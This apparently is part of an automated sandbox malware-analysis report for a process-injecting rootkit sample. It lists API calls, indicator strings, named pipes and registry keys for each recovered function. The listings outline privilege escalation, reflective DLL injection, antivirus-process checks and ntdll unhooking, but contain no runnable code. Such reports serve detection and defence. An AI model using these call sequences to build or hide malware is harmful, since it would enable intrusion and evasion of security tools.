RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E29
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E59
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E89
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E9D
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EAB
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EBE
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002ECC
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EFB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F2B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F3D
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002F43
RegCreateKeyExW.KERNELBASE ref: 0000000140002F7F
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000140002FA6
RegSetKeySecurity.KERNELBASE ref: 0000000140002FBF
LocalFree.KERNEL32 ref: 0000000140002FC9
RegCreateKeyExW.KERNELBASE ref: 0000000140002FFF
GetCurrentProcessId.KERNEL32 ref: 0000000140003009
RegSetValueExW.KERNELBASE ref: 0000000140003030
RegCloseKey.KERNELBASE ref: 000000014000303A
RegCloseKey.ADVAPI32 ref: 0000000140003044
CreateThread.KERNELBASE ref: 0000000140003065
GetProcessHeap.KERNEL32 ref: 000000014000306B
HeapAlloc.KERNEL32 ref: 000000014000307A
CreateThread.KERNELBASE ref: 00000001400030A8
CreateThread.KERNELBASE ref: 00000001400030C9
ShellExecuteW.SHELL32 ref: 0000000140003103
GetProcessHeap.KERNEL32 ref: 0000000140003163
HeapFree.KERNEL32 ref: 0000000140003171
SleepEx.KERNELBASE ref: 000000014000317A

Strings

SeDebugPrivilege, xrefs: 0000000140002DAE
kernel32.dll, xrefs: 0000000140002D68
$nya-dll32, xrefs: 0000000140002E47, 0000000140002ED6
SOFTWARE, xrefs: 0000000140002E1F
ntdll.dll, xrefs: 0000000140002D5C
SOFTWARE\$nya-config, xrefs: 0000000140002F5E
?, xrefs: 0000000140002FF3
$nya-dll64, xrefs: 0000000140002E77, 0000000140002F10
svc64, xrefs: 0000000140003013
pid, xrefs: 0000000140002FDC
open, xrefs: 00000001400030E4
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0000000140002F9F

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Create$CloseValue$CurrentHandleQuery$AllocFileFreeOpenSecurityThread$DescriptorModuleProtectTokenVirtual$AdjustConvertErrorExecuteInformationLastLibraryLocalLookupMappingPrivilegePrivilegesShellSleepStringViewlstrcmpi
String ID: $nya-dll32$$nya-dll64$?$D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$SOFTWARE$SOFTWARE\$nya-config$SeDebugPrivilege$kernel32.dll$ntdll.dll$open$pid$svc64
API String ID: 3658652915-3222643892
Opcode ID: 1fbe09dec1d199788ba5218dd301b0589b924fd5f4b28719ba773b516d3b2e5d
Instruction ID: 4f21af1d6324345a54d8493184232a85d4bbe7b60dd5b863780ff56615b54280
Opcode Fuzzy Hash: 1fbe09dec1d199788ba5218dd301b0589b924fd5f4b28719ba773b516d3b2e5d
Instruction Fuzzy Hash: A5C1F2B2200A4086EB26DF22F8547DA37A5FB8CBD9F414116FB4A43A76DF38C589C744

Function 0000000140001868 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 287
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 000000014000189E
IsWow64Process.KERNEL32 ref: 00000001400018BA
CloseHandle.KERNELBASE ref: 00000001400018DE
OpenProcess.KERNEL32 ref: 0000000140001939
OpenProcess.KERNEL32 ref: 0000000140001958
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001979
PathFindFileNameW.SHLWAPI ref: 0000000140001987
lstrlenW.KERNEL32 ref: 0000000140001993
StrCpyW.SHLWAPI ref: 00000001400019AA
CloseHandle.KERNEL32 ref: 00000001400019B6
StrCmpIW.SHLWAPI ref: 00000001400019EA
NtQueryInformationProcess.NTDLL ref: 0000000140001A1B
OpenProcessToken.ADVAPI32 ref: 0000000140001A43
GetTokenInformation.KERNELBASE ref: 0000000140001A6F
GetLastError.KERNEL32 ref: 0000000140001A79
LocalAlloc.KERNEL32 ref: 0000000140001A8C
GetTokenInformation.KERNELBASE ref: 0000000140001AB8
GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC5
GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD4
LocalFree.KERNEL32 ref: 0000000140001AEC
CloseHandle.KERNEL32 ref: 0000000140001B00
StrStrA.SHLWAPI ref: 0000000140001BAB
VirtualAllocEx.KERNEL32 ref: 0000000140001C15
WriteProcessMemory.KERNELBASE ref: 0000000140001C38
WaitForSingleObject.KERNEL32 ref: 0000000140001C79
GetExitCodeThread.KERNEL32 ref: 0000000140001C8F
VirtualFreeEx.KERNELBASE ref: 0000000140001CB1
CloseHandle.KERNELBASE ref: 0000000140001CC2
CloseHandle.KERNEL32 ref: 0000000140001CCB

Strings

MsMpEng.exe, xrefs: 00000001400019C1
MSBuild.exe, xrefs: 00000001400019D4
@, xrefs: 0000000140001C08
ReflectiveDllMain, xrefs: 0000000140001BA1

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileFreeLocalNameVirtual$CodeCountErrorExitFindLastMemoryModuleObjectPathQuerySingleThreadWaitWow64Writelstrlen
String ID: @$MSBuild.exe$MsMpEng.exe$ReflectiveDllMain
API String ID: 2456419452-2628171563
Opcode ID: 2b16a00b8169fba4865d38f395e3f4d07e54227767ca222d3906c7a16431a916
Instruction ID: aa2e9c602b366f086df46edbb2d603c4cad306d9795ea9e87325920370297f3c
Opcode Fuzzy Hash: 2b16a00b8169fba4865d38f395e3f4d07e54227767ca222d3906c7a16431a916
Instruction Fuzzy Hash: 93C14BB1700A8186EB66DF23B8907EA23A5FB89BC4F444125EF4A477A4DF38C985C744

Function 00000001400031D0 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 236
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140003230
HeapAlloc.KERNEL32 ref: 0000000140003243
K32EnumProcesses.KERNEL32 ref: 0000000140003260

Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 000000014000189E
Part of subcall function 0000000140001868: IsWow64Process.KERNEL32 ref: 00000001400018BA
Part of subcall function 0000000140001868: CloseHandle.KERNELBASE ref: 00000001400018DE
Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 0000000140001939
Part of subcall function 0000000140001868: OpenProcess.KERNEL32 ref: 0000000140001958
Part of subcall function 0000000140001868: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001979
Part of subcall function 0000000140001868: PathFindFileNameW.SHLWAPI ref: 0000000140001987
Part of subcall function 0000000140001868: lstrlenW.KERNEL32 ref: 0000000140001993
Part of subcall function 0000000140001868: StrCpyW.SHLWAPI ref: 00000001400019AA
Part of subcall function 0000000140001868: CloseHandle.KERNEL32 ref: 00000001400019B6
Part of subcall function 0000000140001868: StrCmpIW.SHLWAPI ref: 00000001400019EA

Part of subcall function 0000000140001868: NtQueryInformationProcess.NTDLL ref: 0000000140001A1B
Part of subcall function 0000000140001868: OpenProcessToken.ADVAPI32 ref: 0000000140001A43
Part of subcall function 0000000140001868: GetTokenInformation.KERNELBASE ref: 0000000140001A6F
Part of subcall function 0000000140001868: GetLastError.KERNEL32 ref: 0000000140001A79
Part of subcall function 0000000140001868: LocalAlloc.KERNEL32 ref: 0000000140001A8C
Part of subcall function 0000000140001868: GetTokenInformation.KERNELBASE ref: 0000000140001AB8
Part of subcall function 0000000140001868: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC5
Part of subcall function 0000000140001868: GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD4
Part of subcall function 0000000140001868: LocalFree.KERNEL32 ref: 0000000140001AEC
Part of subcall function 0000000140001868: CloseHandle.KERNEL32 ref: 0000000140001B00
Part of subcall function 0000000140001868: StrStrA.SHLWAPI ref: 0000000140001BAB

ReadFile.KERNEL32 ref: 00000001400032DE
ExitProcess.KERNEL32 ref: 000000014000334E
ReadFile.KERNELBASE ref: 0000000140003371
GetProcessHeap.KERNEL32 ref: 0000000140003392
HeapAlloc.KERNEL32 ref: 00000001400033A3
GetProcessHeap.KERNEL32 ref: 00000001400033FA
HeapFree.KERNEL32 ref: 0000000140003408
RegOpenKeyExW.ADVAPI32 ref: 000000014000346F
RegDeleteValueW.ADVAPI32 ref: 0000000140003487
RegDeleteValueW.ADVAPI32 ref: 000000014000349B
RegDeleteValueW.ADVAPI32 ref: 00000001400034AF

Strings

$nya-svc32, xrefs: 00000001400034B5
$nya-dll32, xrefs: 0000000140003494
SOFTWARE, xrefs: 0000000140003461
$nya-dll64, xrefs: 00000001400034A8
open, xrefs: 0000000140003608
$nya-svc64, xrefs: 00000001400034C1
$nya-stager, xrefs: 0000000140003480

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Open$File$AllocCloseDeleteHandleInformationTokenValue$AuthorityFreeLocalNameRead$CountEnumErrorExitFindLastModulePathProcessesQueryWow64lstrlen
String ID: $nya-dll32$$nya-dll64$$nya-stager$$nya-svc32$$nya-svc64$SOFTWARE$open
API String ID: 2078740077-1712970621
Opcode ID: f7c68859b52914e3334372da6bae20eccf7175c030ed6d90c0cd16e79758e7fd
Instruction ID: c8d4f342e40e6777a9670b8351b23a9f9beb54452381f7607bad1af34793ce04
Opcode Fuzzy Hash: f7c68859b52914e3334372da6bae20eccf7175c030ed6d90c0cd16e79758e7fd
Instruction Fuzzy Hash: 0FB106F120468196EB7BDF27B8543E922A9F74C7C4F448125BB0A47ABADF39C645C704

Function 0000000140001CF0 Relevance: 19.6, APIs: 13, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001D23
HeapAlloc.KERNEL32 ref: 0000000140001D36
GetProcessHeap.KERNEL32 ref: 0000000140001D44
HeapAlloc.KERNEL32 ref: 0000000140001D55
K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
OpenProcess.KERNEL32 ref: 0000000140001D9D
K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
ReadProcessMemory.KERNEL32 ref: 0000000140001E01
CloseHandle.KERNELBASE ref: 0000000140001E46
GetProcessHeap.KERNEL32 ref: 0000000140001E58
HeapFree.KERNEL32 ref: 0000000140001E66
GetProcessHeap.KERNEL32 ref: 0000000140001E6C
RtlFreeHeap.NTDLL ref: 0000000140001E7A

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: f02ff77e7f4e077cdd12b46490152bc7a80db30c6c4fa853e392340b29967d71
Instruction ID: e2e15449054ed3f9ee7818d53de513bd52f9f3644679b514a33cb2e068489f8a
Opcode Fuzzy Hash: f02ff77e7f4e077cdd12b46490152bc7a80db30c6c4fa853e392340b29967d71
Instruction Fuzzy Hash: 1B5158B2711A808AEB66DF63F8587EA22A1F78DBC4F804025EF595B764DF38C585C700

Function 0000000140002300 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
LocalAlloc.KERNEL32 ref: 00000001400023A7
InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction ID: 08f0d969cdc459eeaae67e0f3491139f795acf93ec6e34b01acc3ed94c40f622
Opcode Fuzzy Hash: 37e6648599b0826955785ac87fece2d8239bb794969fe8891e8706d602f244c1
Instruction Fuzzy Hash: 173169B2214691CAE761CF25F4807DE77A4F748798F40422AFB4947EA8DB78C259CB44

Function 0000000140002A0C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140002A3D
StrCatW.SHLWAPI ref: 0000000140002A4B
GetModuleHandleW.KERNEL32 ref: 0000000140002A54
GetCurrentProcess.KERNEL32 ref: 0000000140002A74
K32GetModuleInformation.KERNEL32 ref: 0000000140002A88
CreateFileW.KERNELBASE ref: 0000000140002AB8
CreateFileMappingW.KERNELBASE ref: 0000000140002AE2
MapViewOfFile.KERNELBASE ref: 0000000140002B05
lstrcmpiA.KERNEL32 ref: 0000000140002B5B
VirtualProtect.KERNEL32 ref: 0000000140002B8E
VirtualProtect.KERNEL32 ref: 0000000140002BBE
CloseHandle.KERNELBASE ref: 0000000140002BC7
CloseHandle.KERNEL32 ref: 0000000140002BD0
FreeLibrary.KERNEL32 ref: 0000000140002BD9

Strings

.text, xrefs: 0000000140002B54
C:\Windows\System32\, xrefs: 0000000140002A2F

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: c686aa51e377184264062a0a3ec39641cbabcbb6b6338b4f9c9e14a722750aea
Instruction ID: 2da0f49b8f504828cf99bd1c35657877bba6dbaefb57c64c0b3462adf03dc19e
Opcode Fuzzy Hash: c686aa51e377184264062a0a3ec39641cbabcbb6b6338b4f9c9e14a722750aea
Instruction Fuzzy Hash: 59517BB230468086EB62DF16F9587DA73A1FB8CBD5F444625AF4A03BA8DF38C548C704

Function 00000001400036F4 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140003719
ConnectNamedPipe.KERNELBASE ref: 0000000140003726
ReadFile.KERNEL32 ref: 0000000140003749
WriteFile.KERNEL32 ref: 0000000140003777
Sleep.KERNEL32 ref: 0000000140003784
DisconnectNamedPipe.KERNEL32 ref: 000000014000378D

Strings

\\.\pipe\$nya-childproc, xrefs: 0000000140003701
M, xrefs: 000000014000376A

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\$nya-childproc
API String ID: 2203880229-802795868
Opcode ID: a9b0775309c1033bdde321130d9dbfa8a5fd9d512a1023e9268893db04bfe7f9
Instruction ID: 5f21e6060fcfdf5e456d3793ca8ca668dea709d71954cc69c9167fab55033164
Opcode Fuzzy Hash: a9b0775309c1033bdde321130d9dbfa8a5fd9d512a1023e9268893db04bfe7f9
Instruction Fuzzy Hash: 0E1179F1208A4082E726EB22F8147EA6760E78DBE0F444225FB5A036F5CF7CC548CB00

Function 0000000140002CB0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140002CD5
ConnectNamedPipe.KERNELBASE ref: 0000000140002CE2
ReadFile.KERNELBASE ref: 0000000140002D05
Sleep.KERNEL32 ref: 0000000140002D26
DisconnectNamedPipe.KERNELBASE ref: 0000000140002D2F

Strings

\\.\pipe\$nya-control, xrefs: 0000000140002CBD

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\$nya-control
API String ID: 2071455217-2728758917
Opcode ID: ea5d0e36b259e0d9586660e08200355551478b737e680bb1466d0a5669cd7301
Instruction ID: fae886f8300dcbc0ba88151123110c58f904b6dff6578ae57d5354566521a009
Opcode Fuzzy Hash: ea5d0e36b259e0d9586660e08200355551478b737e680bb1466d0a5669cd7301
Instruction Fuzzy Hash: 6F011AB1214A0482FB16EB23F8547E9A360A79DBE1F154225FB67436F5DF78C888C704

Function 0000000140003634 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000364F
HeapAlloc.KERNEL32 ref: 0000000140003663
GetProcessHeap.KERNEL32 ref: 000000014000366C
HeapAlloc.KERNEL32 ref: 000000014000367A
K32EnumProcesses.KERNEL32 ref: 0000000140003695
Sleep.KERNEL32 ref: 00000001400036EA

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 81151b99d530d65dfa122e6c8ce9ef601985b82c456e08e1a9a7be0ad97868de
Instruction ID: a1b66254d96c7cf11d413aba10b9c6aee428658a90ca8d6027ab0afa1d9e2250
Opcode Fuzzy Hash: 81151b99d530d65dfa122e6c8ce9ef601985b82c456e08e1a9a7be0ad97868de
Instruction Fuzzy Hash: 2C1160B270065196E716DB17F81475A7AA6F789BC1F558128EF4207B78CF3AD884CB40

Function 000000014000200C Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140002F50), ref: 0000000140002021
HeapAlloc.KERNEL32(?,?,00000000,0000000140002F50), ref: 0000000140002032

Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D23
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D36
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D44
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D55
Part of subcall function 0000000140001CF0: K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
Part of subcall function 0000000140001CF0: OpenProcess.KERNEL32 ref: 0000000140001D9D
Part of subcall function 0000000140001CF0: K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
Part of subcall function 0000000140001CF0: ReadProcessMemory.KERNEL32 ref: 0000000140001E01
Part of subcall function 0000000140001CF0: CloseHandle.KERNELBASE ref: 0000000140001E46
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E58
Part of subcall function 0000000140001CF0: HeapFree.KERNEL32 ref: 0000000140001E66
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E6C
Part of subcall function 0000000140001CF0: RtlFreeHeap.NTDLL ref: 0000000140001E7A

OpenProcess.KERNEL32 ref: 0000000140002079
TerminateProcess.KERNEL32 ref: 000000014000208C
CloseHandle.KERNEL32 ref: 0000000140002095
GetProcessHeap.KERNEL32 ref: 00000001400020A5

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 9e888eed53e2bb10b5f797a2cff84821bb432324b3c6bbcbdbea6ae691bf0545
Instruction ID: 146a1b11f62a0205da1b5a2207c4e551d66db48d886c31f99c97199126aec534
Opcode Fuzzy Hash: 9e888eed53e2bb10b5f797a2cff84821bb432324b3c6bbcbdbea6ae691bf0545
Instruction Fuzzy Hash: 77114CB1B0564086FB16DF27B84439A66A1AB8DBD4F488028FF0903776EE39C4868704

Function 0000000140002D38 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002D4C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D74
Part of subcall function 0000000140002D4C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D84
Part of subcall function 0000000140002D4C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002D9E
Part of subcall function 0000000140002D4C: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DB5
Part of subcall function 0000000140002D4C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DED
Part of subcall function 0000000140002D4C: GetLastError.KERNEL32 ref: 0000000140002DF7
Part of subcall function 0000000140002D4C: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E00
Part of subcall function 0000000140002D4C: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E29
Part of subcall function 0000000140002D4C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E59
Part of subcall function 0000000140002D4C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E89
Part of subcall function 0000000140002D4C: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002E9D
Part of subcall function 0000000140002D4C: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EAB
Part of subcall function 0000000140002D4C: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002EBE
Part of subcall function 0000000140002D4C: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D41), ref: 0000000140002ECC

ExitProcess.KERNEL32 ref: 0000000140002D43

Memory Dump Source

Source File: 0000000E.00000002.1604671684.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.1604617323.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604705862.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.1604738445.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$OpenValue$AllocQueryToken$AdjustCloseCurrentErrorExitHandleLastLookupPrivilegePrivileges
String ID:
API String ID: 2472495637-0
Opcode ID: 79b4bc089e26725b3875790e3276540c07806726462858758fa47b4ded48d988
